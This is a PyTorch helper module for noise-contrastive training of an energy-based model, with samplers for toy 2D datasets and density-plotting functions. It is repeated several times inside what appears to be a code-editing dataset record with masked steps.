ax.set_ylim(-range_lim, range_lim) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) ax.invert_yaxis() <|reserved_special_token_1|> <|reserved_special_token_0|> def value(energy, noise, x, gen): logp_x = energy(x) logq_x = noise.log_prob(x).unsqueeze(1) logp_gen = energy(gen) logq_gen = noise.log_prob(gen).unsqueeze(1) ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True) ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim =1), dim=1, keepdim=True) v = ll_data.mean() + ll_gen.mean() r_x = torch.sigmoid(logp_x - logq_x) r_gen = torch.sigmoid(logq_gen - logp_gen) acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len (x) + len(gen)) return -v, acc def get_data(args): dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples) dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True) return dataset, dataloader def sample_2d_data(dataset='8gaussians', n_samples=50000): z = torch.randn(n_samples, 2) if dataset == '8gaussians': scale = 4 sq2 = 1 / math.sqrt(2) centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2 ), (sq2, -sq2), (-sq2, -sq2)] centers = torch.tensor([(scale * x, scale * y) for x, y in centers]) return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=( n_samples,))]) elif dataset == '2spirals': n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360 d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5 d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5 x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, - d1y], dim=1)], dim=0) / 3 return x + 0.1 * z elif dataset == 'checkerboard': x1 = torch.rand(n_samples) * 4 - 2 x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2 x2 = x2_ + x1.floor() % 2 return torch.stack([x1, x2], dim=1) * 2 elif dataset == 'rings': n_samples4 = n_samples3 = n_samples2 = n_samples // 4 n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2 linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1] linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1] linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1] linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1] circ4_x = torch.cos(linspace4) circ4_y = torch.sin(linspace4) circ3_x = torch.cos(linspace4) * 0.75 circ3_y = torch.sin(linspace3) * 0.75 circ2_x = torch.cos(linspace2) * 0.5 circ2_y = torch.sin(linspace2) * 0.5 circ1_x = torch.cos(linspace1) * 0.25 circ1_y = torch.sin(linspace1) * 0.25 x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]), torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0 x = x[torch.randint(0, n_samples, size=(n_samples,))] return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch. ones_like(x)) elif dataset == 'pinwheel': rng = np.random.RandomState() radial_std = 0.3 tangential_std = 0.1 num_classes = 5 num_per_class = n_samples // 5 rate = 0.25 rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False) features = rng.randn(num_classes * num_per_class, 2) * np.array([ radial_std, tangential_std]) features[:, 0] += 1.0 labels = np.repeat(np.arange(num_classes), num_per_class) angles = rads[labels] + rate * np.exp(features[:, 0]) rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin( angles), np.cos(angles)]) rotations = np.reshape(rotations.T, (-1, 2, 2)) data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations) ) return torch.as_tensor(data, dtype=torch.float32) else: raise RuntimeError('Invalid `dataset` to sample from.') @torch.no_grad() def plot(dataset, energy, noise, epoch, device): n_pts = 1000 range_lim = 4 test_grid = setup_grid(range_lim, n_pts, device) fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect': 'equal'}) plot_samples(dataset, axs[0], range_lim, n_pts) plot_noise(noise, axs[1], test_grid, n_pts) plot_energy(energy, axs[2], test_grid, n_pts) for ax in plt.gcf().axes: format_ax(ax, range_lim) plt.tight_layout() print('Saving image to images/....') plt.savefig('images/epoch_{}.png'.format(epoch)) plt.close() def setup_grid(range_lim, n_pts, device): x = torch.linspace(-range_lim, range_lim, n_pts) xx, yy = torch.meshgrid((x, x)) zz = torch.stack((xx.flatten(), yy.flatten()), dim=1) return xx, yy, zz.to(device) def plot_samples(dataset, ax, range_lim, n_pts): samples = dataset.numpy() ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet) ax.set_title('Target samples') def plot_energy(energy, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = energy(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Energy density') <|reserved_special_token_0|> def format_ax(ax, range_lim): ax.set_xlim(-range_lim, range_lim) ax.set_ylim(-range_lim, range_lim) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) ax.invert_yaxis() <|reserved_special_token_1|> <|reserved_special_token_0|> def value(energy, noise, x, gen): logp_x = energy(x) logq_x = noise.log_prob(x).unsqueeze(1) logp_gen = energy(gen) logq_gen = noise.log_prob(gen).unsqueeze(1) ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True) ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim =1), dim=1, keepdim=True) v = ll_data.mean() + ll_gen.mean() r_x = torch.sigmoid(logp_x - logq_x) r_gen = torch.sigmoid(logq_gen - logp_gen) acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len (x) + len(gen)) return -v, acc def get_data(args): dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples) dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True) return dataset, dataloader def sample_2d_data(dataset='8gaussians', n_samples=50000): z = torch.randn(n_samples, 2) if dataset == '8gaussians': scale = 4 sq2 = 1 / math.sqrt(2) centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2 ), (sq2, -sq2), (-sq2, -sq2)] centers = torch.tensor([(scale * x, scale * y) for x, y in centers]) return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=( n_samples,))]) elif dataset == '2spirals': n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360 d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5 d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5 x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, - d1y], dim=1)], dim=0) / 3 return x + 0.1 * z elif dataset == 'checkerboard': x1 = torch.rand(n_samples) * 4 - 2 x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2 x2 = x2_ + x1.floor() % 2 return torch.stack([x1, x2], dim=1) * 2 elif dataset == 'rings': n_samples4 = n_samples3 = n_samples2 = n_samples // 4 n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2 linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1] linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1] linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1] linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1] circ4_x = torch.cos(linspace4) circ4_y = torch.sin(linspace4) circ3_x = torch.cos(linspace4) * 0.75 circ3_y = torch.sin(linspace3) * 0.75 circ2_x = torch.cos(linspace2) * 0.5 circ2_y = torch.sin(linspace2) * 0.5 circ1_x = torch.cos(linspace1) * 0.25 circ1_y = torch.sin(linspace1) * 0.25 x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]), torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0 x = x[torch.randint(0, n_samples, size=(n_samples,))] return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch. ones_like(x)) elif dataset == 'pinwheel': rng = np.random.RandomState() radial_std = 0.3 tangential_std = 0.1 num_classes = 5 num_per_class = n_samples // 5 rate = 0.25 rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False) features = rng.randn(num_classes * num_per_class, 2) * np.array([ radial_std, tangential_std]) features[:, 0] += 1.0 labels = np.repeat(np.arange(num_classes), num_per_class) angles = rads[labels] + rate * np.exp(features[:, 0]) rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin( angles), np.cos(angles)]) rotations = np.reshape(rotations.T, (-1, 2, 2)) data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations) ) return torch.as_tensor(data, dtype=torch.float32) else: raise RuntimeError('Invalid `dataset` to sample from.') @torch.no_grad() def plot(dataset, energy, noise, epoch, device): n_pts = 1000 range_lim = 4 test_grid = setup_grid(range_lim, n_pts, device) fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect': 'equal'}) plot_samples(dataset, axs[0], range_lim, n_pts) plot_noise(noise, axs[1], test_grid, n_pts) plot_energy(energy, axs[2], test_grid, n_pts) for ax in plt.gcf().axes: format_ax(ax, range_lim) plt.tight_layout() print('Saving image to images/....') plt.savefig('images/epoch_{}.png'.format(epoch)) plt.close() def setup_grid(range_lim, n_pts, device): x = torch.linspace(-range_lim, range_lim, n_pts) xx, yy = torch.meshgrid((x, x)) zz = torch.stack((xx.flatten(), yy.flatten()), dim=1) return xx, yy, zz.to(device) def plot_samples(dataset, ax, range_lim, n_pts): samples = dataset.numpy() ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet) ax.set_title('Target samples') def plot_energy(energy, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = energy(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Energy density') def plot_noise(noise, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = noise.log_prob(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Noise density') def format_ax(ax, range_lim): ax.set_xlim(-range_lim, range_lim) ax.set_ylim(-range_lim, range_lim) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) ax.invert_yaxis() <|reserved_special_token_1|> import math import numpy as np import torch import torch.nn as nn from torch.utils.data import DataLoader import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt def value(energy, noise, x, gen): logp_x = energy(x) logq_x = noise.log_prob(x).unsqueeze(1) logp_gen = energy(gen) logq_gen = noise.log_prob(gen).unsqueeze(1) ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True) ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim =1), dim=1, keepdim=True) v = ll_data.mean() + ll_gen.mean() r_x = torch.sigmoid(logp_x - logq_x) r_gen = torch.sigmoid(logq_gen - logp_gen) acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len (x) + len(gen)) return -v, acc def get_data(args): dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples) dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True) return dataset, dataloader def sample_2d_data(dataset='8gaussians', n_samples=50000): z = torch.randn(n_samples, 2) if dataset == '8gaussians': scale = 4 sq2 = 1 / math.sqrt(2) centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2 ), (sq2, -sq2), (-sq2, -sq2)] centers = torch.tensor([(scale * x, scale * y) for x, y in centers]) return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=( n_samples,))]) elif dataset == '2spirals': n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360 d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5 d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5 x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, - d1y], dim=1)], dim=0) / 3 return x + 0.1 * z elif dataset == 'checkerboard': x1 = torch.rand(n_samples) * 4 - 2 x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2 x2 = x2_ + x1.floor() % 2 return torch.stack([x1, x2], dim=1) * 2 elif dataset == 'rings': n_samples4 = n_samples3 = n_samples2 = n_samples // 4 n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2 linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1] linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1] linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1] linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1] circ4_x = torch.cos(linspace4) circ4_y = torch.sin(linspace4) circ3_x = torch.cos(linspace4) * 0.75 circ3_y = torch.sin(linspace3) * 0.75 circ2_x = torch.cos(linspace2) * 0.5 circ2_y = torch.sin(linspace2) * 0.5 circ1_x = torch.cos(linspace1) * 0.25 circ1_y = torch.sin(linspace1) * 0.25 x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]), torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0 x = x[torch.randint(0, n_samples, size=(n_samples,))] return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch. ones_like(x)) elif dataset == 'pinwheel': rng = np.random.RandomState() radial_std = 0.3 tangential_std = 0.1 num_classes = 5 num_per_class = n_samples // 5 rate = 0.25 rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False) features = rng.randn(num_classes * num_per_class, 2) * np.array([ radial_std, tangential_std]) features[:, 0] += 1.0 labels = np.repeat(np.arange(num_classes), num_per_class) angles = rads[labels] + rate * np.exp(features[:, 0]) rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin( angles), np.cos(angles)]) rotations = np.reshape(rotations.T, (-1, 2, 2)) data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations) ) return torch.as_tensor(data, dtype=torch.float32) else: raise RuntimeError('Invalid `dataset` to sample from.') @torch.no_grad() def plot(dataset, energy, noise, epoch, device): n_pts = 1000 range_lim = 4 test_grid = setup_grid(range_lim, n_pts, device) fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect': 'equal'}) plot_samples(dataset, axs[0], range_lim, n_pts) plot_noise(noise, axs[1], test_grid, n_pts) plot_energy(energy, axs[2], test_grid, n_pts) for ax in plt.gcf().axes: format_ax(ax, range_lim) plt.tight_layout() print('Saving image to images/....') plt.savefig('images/epoch_{}.png'.format(epoch)) plt.close() def setup_grid(range_lim, n_pts, device): x = torch.linspace(-range_lim, range_lim, n_pts) xx, yy = torch.meshgrid((x, x)) zz = torch.stack((xx.flatten(), yy.flatten()), dim=1) return xx, yy, zz.to(device) def plot_samples(dataset, ax, range_lim, n_pts): samples = dataset.numpy() ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet) ax.set_title('Target samples') def plot_energy(energy, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = energy(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Energy density') def plot_noise(noise, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = noise.log_prob(zz) prob = log_prob.exp().cpu() ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.0)) ax.set_title('Noise density') def format_ax(ax, range_lim): ax.set_xlim(-range_lim, range_lim) ax.set_ylim(-range_lim, range_lim) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) ax.invert_yaxis() <|reserved_special_token_1|> import math import numpy as np import torch import torch.nn as nn from torch.utils.data import DataLoader import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt def value(energy, noise, x, gen): logp_x = energy(x) logq_x = noise.log_prob(x).unsqueeze(1) logp_gen = energy(gen) logq_gen = noise.log_prob(gen).unsqueeze(1) ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True) ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim=1), dim=1, keepdim=True) v = ll_data.mean() + ll_gen.mean() r_x = torch.sigmoid(logp_x - logq_x) r_gen = torch.sigmoid(logq_gen - logp_gen) acc = ((r_x > 1/2).sum() + (r_gen > 1/2).sum()).cpu().numpy() / (len(x) + len(gen)) return -v, acc #------------------------------------------- # DATA #------------------------------------------- def get_data(args): dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples) dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True) return dataset, dataloader def sample_2d_data(dataset='8gaussians', n_samples=50000): z = torch.randn(n_samples, 2) if dataset == '8gaussians': scale = 4 sq2 = 1/math.sqrt(2) centers = [(1,0), (-1,0), (0,1), (0,-1), (sq2,sq2), (-sq2,sq2), (sq2,-sq2), (-sq2,-sq2)] centers = torch.tensor([(scale * x, scale * y) for x,y in centers]) return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(n_samples,))]) elif dataset == '2spirals': n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360 d1x = - torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5 d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5 x = torch.cat([torch.stack([ d1x, d1y], dim=1), torch.stack([-d1x, -d1y], dim=1)], dim=0) / 3 return x + 0.1*z elif dataset == 'checkerboard': x1 = torch.rand(n_samples) * 4 - 2 x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2 x2 = x2_ + x1.floor() % 2 return torch.stack([x1, x2], dim=1) * 2 elif dataset == 'rings': n_samples4 = n_samples3 = n_samples2 = n_samples // 4 n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2 # so as not to have the first point = last point, set endpoint=False in np; here shifted by one linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1] linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1] linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1] linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1] circ4_x = torch.cos(linspace4) circ4_y = torch.sin(linspace4) circ3_x = torch.cos(linspace4) * 0.75 circ3_y = torch.sin(linspace3) * 0.75 circ2_x = torch.cos(linspace2) * 0.5 circ2_y = torch.sin(linspace2) * 0.5 circ1_x = torch.cos(linspace1) * 0.25 circ1_y = torch.sin(linspace1) * 0.25 x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]), torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0 # random sample x = x[torch.randint(0, n_samples, size=(n_samples,))] # Add noise return x + torch.normal(mean=torch.zeros_like(x), std=0.08*torch.ones_like(x)) elif dataset == "pinwheel": rng = np.random.RandomState() radial_std = 0.3 tangential_std = 0.1 num_classes = 5 num_per_class = n_samples // 5 rate = 0.25 rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False) features = rng.randn(num_classes*num_per_class, 2) \ * np.array([radial_std, tangential_std]) features[:, 0] += 1. labels = np.repeat(np.arange(num_classes), num_per_class) angles = rads[labels] + rate * np.exp(features[:, 0]) rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(angles), np.cos(angles)]) rotations = np.reshape(rotations.T, (-1, 2, 2)) data = 2 * rng.permutation(np.einsum("ti,tij->tj", features, rotations)) return torch.as_tensor(data, dtype=torch.float32) else: raise RuntimeError('Invalid `dataset` to sample from.') # -------------------- # Plotting # -------------------- @torch.no_grad() def plot(dataset, energy, noise, epoch, device): n_pts = 1000 range_lim = 4 # construct test points test_grid = setup_grid(range_lim, n_pts, device) # plot fig, axs = plt.subplots(1, 3, figsize=(12,4.3), subplot_kw={'aspect': 'equal'}) plot_samples(dataset, axs[0], range_lim, n_pts) plot_noise(noise, axs[1], test_grid, n_pts) plot_energy(energy, axs[2], test_grid, n_pts) # format for ax in plt.gcf().axes: format_ax(ax, range_lim) plt.tight_layout() # save print('Saving image to images/....') plt.savefig('images/epoch_{}.png'.format(epoch)) plt.close() def setup_grid(range_lim, n_pts, device): x = torch.linspace(-range_lim, range_lim, n_pts) xx, yy = torch.meshgrid((x, x)) zz = torch.stack((xx.flatten(), yy.flatten()), dim=1) return xx, yy, zz.to(device) def plot_samples(dataset, ax, range_lim, n_pts): samples = dataset.numpy() ax.hist2d(samples[:,0], samples[:,1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet) ax.set_title('Target samples') def plot_energy(energy, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = energy(zz) prob = log_prob.exp().cpu() # plot ax.pcolormesh(xx, yy, prob.view(n_pts,n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.)) ax.set_title('Energy density') def plot_noise(noise, ax, test_grid, n_pts): xx, yy, zz = test_grid log_prob = noise.log_prob(zz) prob = log_prob.exp().cpu() # plot ax.pcolormesh(xx, yy, prob.view(n_pts,n_pts), cmap=plt.cm.jet) ax.set_facecolor(plt.cm.jet(0.)) ax.set_title('Noise density') def format_ax(ax, range_lim): ax.set_xlim(-range_lim, range_lim) ax.set_ylim(-range_lim, range_lim) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) ax.invert_yaxis()
flexible
{ "blob_id": "010a132645883915eff605ae15696a1fac42d570", "index": 8276, "step-1": "<mask token>\n\n\ndef value(energy, noise, x, gen):\n logp_x = energy(x)\n logq_x = noise.log_prob(x).unsqueeze(1)\n logp_gen = energy(gen)\n logq_gen = noise.log_prob(gen).unsqueeze(1)\n ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1),\n dim=1, keepdim=True)\n ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim\n =1), dim=1, keepdim=True)\n v = ll_data.mean() + ll_gen.mean()\n r_x = torch.sigmoid(logp_x - logq_x)\n r_gen = torch.sigmoid(logq_gen - logp_gen)\n acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len\n (x) + len(gen))\n return -v, acc\n\n\ndef get_data(args):\n dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples)\n dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True)\n return dataset, dataloader\n\n\ndef sample_2d_data(dataset='8gaussians', n_samples=50000):\n z = torch.randn(n_samples, 2)\n if dataset == '8gaussians':\n scale = 4\n sq2 = 1 / math.sqrt(2)\n centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2\n ), (sq2, -sq2), (-sq2, -sq2)]\n centers = torch.tensor([(scale * x, scale * y) for x, y in centers])\n return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(\n n_samples,))])\n elif dataset == '2spirals':\n n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360\n d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5\n d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5\n x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, -\n d1y], dim=1)], dim=0) / 3\n return x + 0.1 * z\n elif dataset == 'checkerboard':\n x1 = torch.rand(n_samples) * 4 - 2\n x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,),\n dtype=torch.float) * 2\n x2 = x2_ + x1.floor() % 2\n return torch.stack([x1, x2], dim=1) * 2\n elif dataset == 'rings':\n n_samples4 = n_samples3 = n_samples2 = n_samples // 4\n n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2\n linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1]\n linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1]\n linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1]\n linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1]\n circ4_x = torch.cos(linspace4)\n circ4_y = torch.sin(linspace4)\n circ3_x = torch.cos(linspace4) * 0.75\n circ3_y = torch.sin(linspace3) * 0.75\n circ2_x = torch.cos(linspace2) * 0.5\n circ2_y = torch.sin(linspace2) * 0.5\n circ1_x = torch.cos(linspace1) * 0.25\n circ1_y = torch.sin(linspace1) * 0.25\n x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]),\n torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0\n x = x[torch.randint(0, n_samples, size=(n_samples,))]\n return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch.\n ones_like(x))\n elif dataset == 'pinwheel':\n rng = np.random.RandomState()\n radial_std = 0.3\n tangential_std = 0.1\n num_classes = 5\n num_per_class = n_samples // 5\n rate = 0.25\n rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False)\n features = rng.randn(num_classes * num_per_class, 2) * np.array([\n radial_std, tangential_std])\n features[:, 0] += 1.0\n labels = np.repeat(np.arange(num_classes), num_per_class)\n angles = rads[labels] + rate * np.exp(features[:, 0])\n rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(\n angles), np.cos(angles)])\n rotations = np.reshape(rotations.T, (-1, 2, 2))\n data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations)\n )\n return torch.as_tensor(data, dtype=torch.float32)\n else:\n raise RuntimeError('Invalid `dataset` to sample from.')\n\n\n<mask token>\n\n\ndef setup_grid(range_lim, n_pts, device):\n x = torch.linspace(-range_lim, range_lim, n_pts)\n xx, yy = torch.meshgrid((x, x))\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=1)\n return xx, yy, zz.to(device)\n\n\ndef plot_samples(dataset, ax, range_lim, n_pts):\n samples = dataset.numpy()\n ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim],\n [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet)\n ax.set_title('Target samples')\n\n\ndef plot_energy(energy, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = energy(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Energy density')\n\n\n<mask token>\n\n\ndef format_ax(ax, range_lim):\n ax.set_xlim(-range_lim, range_lim)\n ax.set_ylim(-range_lim, range_lim)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n ax.invert_yaxis()\n", "step-2": "<mask token>\n\n\ndef value(energy, noise, x, gen):\n logp_x = energy(x)\n logq_x = noise.log_prob(x).unsqueeze(1)\n logp_gen = energy(gen)\n logq_gen = noise.log_prob(gen).unsqueeze(1)\n ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1),\n dim=1, keepdim=True)\n ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim\n =1), dim=1, keepdim=True)\n v = ll_data.mean() + ll_gen.mean()\n r_x = torch.sigmoid(logp_x - logq_x)\n r_gen = torch.sigmoid(logq_gen - logp_gen)\n acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len\n (x) + len(gen))\n return -v, acc\n\n\ndef get_data(args):\n dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples)\n dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True)\n return dataset, dataloader\n\n\ndef sample_2d_data(dataset='8gaussians', n_samples=50000):\n z = torch.randn(n_samples, 2)\n if dataset == '8gaussians':\n scale = 4\n sq2 = 1 / math.sqrt(2)\n centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2\n ), (sq2, -sq2), (-sq2, -sq2)]\n centers = torch.tensor([(scale * x, scale * y) for x, y in centers])\n return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(\n n_samples,))])\n elif dataset == '2spirals':\n n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360\n d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5\n d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5\n x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, -\n d1y], dim=1)], dim=0) / 3\n return x + 0.1 * z\n elif dataset == 'checkerboard':\n x1 = torch.rand(n_samples) * 4 - 2\n x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,),\n dtype=torch.float) * 2\n x2 = x2_ + x1.floor() % 2\n return torch.stack([x1, x2], dim=1) * 2\n elif dataset == 'rings':\n n_samples4 = n_samples3 = n_samples2 = n_samples // 4\n n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2\n linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1]\n 